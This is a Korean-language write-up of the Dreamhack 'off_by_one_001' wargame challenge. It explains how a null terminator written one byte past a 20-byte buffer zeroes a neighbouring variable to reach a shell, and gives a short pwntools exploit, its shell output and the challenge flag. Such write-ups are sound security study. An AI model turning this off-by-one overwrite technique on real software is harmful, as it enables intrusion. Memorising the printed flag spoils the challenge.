Dreamhack off_by_one_001 Writeup

```c
void alarm_handler()
{
    puts("TIME OUT");
    exit(-1);
}

void initialize()
{
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void read_str(char *ptr, int size)
{
    int len;
    len = read(0, ptr, size);
    printf("%d", len);
    ptr[len] = '\0';
}

void get_shell()
{
    system("/bin/sh");
}
```

```c
int main()
{
    char name[20];
    int age = 1;

    initialize();

    printf("Name: ");
    read_str(name, 20);

    printf("Are you baby?");

    if (age == 0)
    {
        get_shell();
    }
    else
    {
        printf("Ok, chance: \n");
        read(0, name, 20);
    }

    return 0;
}
```

주어진 off_by_one_001.c 소스코드이다.

1. 초기화 (initialize 함수)

- **setvbuf**를 사용해 표준 입력과 출력 버퍼링을 끄고 즉시 처리 가능하게 설정.
- **signal과 alarm**을 사용해 30초 후에 SIGALRM 신호가 발생하도록 설정.
- SIGALRM 신호가 발생하면 **alarm_handler** 함수가 호출되며, "TIME OUT" 메시지를 출력한 후 프로그램이 종료된다.

2. 문자열 입력 처리 (read_str 함수)

- **표준 입력(stdin)**에서 사용자 입력을 읽어 배열에 저장.
- 읽은 바이트 수를 **출력(printf)**하고, 입력받은 문자열 끝에 널 종료 문자(₩0)를 추가.

3. 쉘 실행 (get_shell 함수)

- **system("/bin/sh")**를 호출하여 사용자가 쉘을 실행할 수 있도록 한다.

4. main 함수

- **이름 입력:** 사용자 이름을 name 배열에 입력받는다. (20 바이트)
- **조건 검사:** 변수 age는 초기값이 1로 설정된다. 조건문에서 age == 0이면 get_shell()이 호출되어 쉘이 실행된다. age의 값은 코드 내에서 변경되지 않으므로 일반적인 실행에서는 이 조건이 충족되지 않는다.
- **추가 입력:** 조건이 만족하지 않으면 다시 입력을 받는다.

여기서 read 함수는 입력 크기를 제한하지 않는다. 따라서 name 배열(최대크기 20바이트)에 20바이트를 꽉 채우는 문자열을 입력할 수 있다. (예시: 문자 a를 20번 입력하는 경우) 그런데 read_str 함수에서 입력받은 문자열 끝에 널 종료 문자(₩0)를 추가하므로 이런 경우에서는 추가된 0은 다음 변수인 age로 밀려나 age == 0이 되고, 이때 쉘이 실행되게 된다.

```python
from pwn import *

p = remote("host3.dreamhack.games", 23078)

payload = b'a' * 20

p.sendline(payload)
p.interactive()
```

작성한 쉘코드이다. 문자 a를 20번 반복하는 페이로드가 주 내용이다.

```
20Are you baby?
ls
flag
off_by_one_001
cat flag
DH{343bab3ef81db6f26ee5f1362942cd79}
```

이를 이용하여 이렇게 플래그를 구할 수 있다.